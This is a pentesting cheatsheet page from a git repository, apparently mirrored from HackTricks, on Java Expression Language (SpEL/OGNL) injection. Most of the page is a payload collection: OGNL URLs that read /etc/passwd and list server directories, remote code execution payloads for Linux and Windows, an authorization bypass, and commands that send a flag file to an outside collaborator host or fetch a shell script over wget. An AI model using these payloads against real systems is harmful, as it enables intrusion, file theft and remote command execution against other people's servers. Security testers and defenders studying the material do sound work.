daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

el-expression-language.md (12988B)


      1 ---
      2 title: "EL - Expression Language"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # EL - Expression Language
     14 
     15 ## Bsic Info
     16 
     17 Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in:
     18 
     19 - **JavaServer Faces (JSF)**: For binding UI components to backend data/actions.
     20 - **JavaServer Pages (JSP)**: For data access and manipulation within JSP pages.
     21 - **Contexts and Dependency Injection for Java EE (CDI)**: For facilitating web layer interaction with managed beans.
     22 
     23 **Usage Contexts**:
     24 
     25 - **Spring Framework**: Applied in various modules like Security and Data.
     26 - **General Use**: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala.
     27 
     28 EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent.
     29 
     30 > [!TIP]
     31 > Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
     32 
     33 ## Basic Example
     34 
     35 (You can find another interesting tutorial about EL in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
     36 
     37 Download from the [**Maven**](https://mvnrepository.com) repository the jar files:
     38 
     39 - `commons-lang3-3.9.jar`
     40 - `spring-core-5.2.1.RELEASE.jar`
     41 - `commons-logging-1.2.jar`
     42 - `spring-expression-5.2.1.RELEASE.jar`
     43 
     44 And create a the following `Main.java` file:
     45 
     46 ```java
     47 import org.springframework.expression.Expression;
     48 import org.springframework.expression.ExpressionParser;
     49 import org.springframework.expression.spel.standard.SpelExpressionParser;
     50 
     51 public class Main {
     52     public static ExpressionParser PARSER;
     53 
     54     public static void main(String[] args) throws Exception {
     55         PARSER = new SpelExpressionParser();
     56 
     57         System.out.println("Enter a String to evaluate:");
     58         java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
     59         String input = stdin.readLine();
     60         Expression exp = PARSER.parseExpression(input);
     61         String result = exp.getValue().toString();
     62         System.out.println(result);
     63     }
     64 }
     65 ```
     66 
     67 Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):
     68 
     69 ```java
     70 javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
     71 ```
     72 
     73 Execute the application with:
     74 
     75 ```java
     76 java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
     77 Enter a String to evaluate:
     78 {5*5}
     79 [25]
     80 ```
     81 
     82 Note how in the previous example the term `{5*5}` was **evaluated**.
     83 
     84 ## **CVE Based Tutorial**
     85 
     86 Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)<sup>[[1]](#references)</sup>
     87 
     88 ## Payloads
     89 
     90 ### Basic actions
     91 
     92 ```bash
     93 #Basic string operations examples
     94 {"a".toString()}
     95 [a]
     96 
     97 {"dfd".replace("d","x")}
     98 [xfx]
     99 
    100 #Access to the String class
    101 {"".getClass()}
    102 [class java.lang.String]
    103 
    104 #Access ro the String class bypassing "getClass"
    105 #{""["class"]}
    106 
    107 #Access to arbitrary class
    108 {"".getClass().forName("java.util.Date")}
    109 [class java.util.Date]
    110 
    111 #List methods of a class
    112 {"".getClass().forName("java.util.Date").getMethods()[0].toString()}
    113 [public boolean java.util.Date.equals(java.lang.Object)]
    114 ```
    115 
    116 ### Detection
    117 
    118 - Burp detection
    119 
    120 ```bash
    121 gk6q${"zkz".toString().replace("k", "x")}doap2
    122 #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
    123 ```
    124 
    125 - J2EE detection<sup>[[2]](#references)</sup>
    126 
    127 ```bash
    128 #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
    129 https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
    130 ```
    131 
    132 - Sleep 10 secs<sup>[[2]](#references)</sup>
    133 
    134 ```bash
    135 #Blind detection vector (sleep during 10 seconds)
    136 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
    137 ```
    138 
    139 ### Remote File Inclusion
    140 
    141 ```bash
    142 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
    143 ```
    144 
    145 ### Directory Listing
    146 
    147 ```bash
    148 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
    149 ```
    150 
    151 ### RCE
    152 
    153 - Basic RCE **explanation**<sup>[[3]](#references)</sup>
    154 
    155 ```bash
    156 #Check the method getRuntime is there
    157 {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
    158 [public static java.lang.Runtime java.lang.Runtime.getRuntime()]
    159 
    160 #Execute command (you won't see the command output in the console)
    161 {"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
    162 [Process[pid=10892, exitValue=0]]
    163 
    164 #Execute command bypassing "getClass"
    165 #{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
    166 
    167 # With HTMl entities injection inside the template
    168 <a th:href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/%24%7B''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
    169 ```
    170 
    171 - RCE **linux**<sup>[[2]](#references)</sup>
    172 
    173 ```bash
    174 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
    175 ```
    176 
    177 - RCE **Windows** (not tested)<sup>[[2]](#references)</sup>
    178 
    179 ```bash
    180 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
    181 ```
    182 
    183 - **More RCE**<sup>[[3]](#references)[[4]](#references)</sup>
    184 
    185 ```java
    186 // Common RCE payloads
    187 ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
    188 ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
    189 
    190 // Method using Runtime via getDeclaredConstructors
    191 #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
    192 #{session.getAttribute("rtc").setAccessible(true)}
    193 #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
    194 
    195 // Method using processbuilder
    196 ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
    197 ${request.getAttribute("c").add("cmd.exe")}
    198 ${request.getAttribute("c").add("/k")}
    199 ${request.getAttribute("c").add("ping x.x.x.x")}
    200 ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
    201 ${request.getAttribute("a")}
    202 
    203 // Method using Reflection & Invoke
    204 ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
    205 
    206 // Method using ScriptEngineManager one-liner
    207 ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
    208 
    209 // Method using ScriptEngineManager
    210 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
    211 ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
    212 
    213 //https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
    214 (T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
    215 T(java.lang.System).getenv()[0]
    216 T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
    217 T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
    218 ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
    219 ```
    220 
    221 ### Inspecting the environment
    222 
    223 - `applicationScope` - global application variables
    224 - `requestScope` - request variables
    225 - `initParam` - application initialization variables
    226 - `sessionScope` - session variables
    227 - `param.X` - param value where X is the name of a http parameter
    228 
    229 You will need to cast this variables to String like:
    230 
    231 ```bash
    232 ${sessionScope.toString()}
    233 ```
    234 
    235 #### Authorization bypass example
    236 
    237 ```bash
    238 ${pageContext.request.getSession().setAttribute("admin", true)}
    239 ```
    240 
    241 The application can also use custom variables like:
    242 
    243 ```bash
    244 ${user}
    245 ${password}
    246 ${employee.FirstName}
    247 ```
    248 
    249 ## WAF Bypass
    250 
    251 Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)<sup>[[5]](#references)</sup>
    252 
    253 Generic SSTI scanners and payload collections can complement the manual EL probes above, but their results still need to be matched to the actual expression engine and application context.<sup>[[6]](#references)</sup>
    254 
    255 ## References
    256 
    257 - [1] [xvnpw - Hacking SpEL - part 1](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
    258 - [2] [mediaservice.net - Exploiting OGNL Injection](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
    259 - [3] [Remote Code Execution with EL Injection Vulnerabilities](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
    260 - [4] [marcin33 - spel-injections.txt payloads](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
    261 - [5] [h1pmnh - Spring EL WAF Bypass Writeup](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
    262 - [6] [PayloadsAllTheThings - Server Side Template Injection (Tools)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)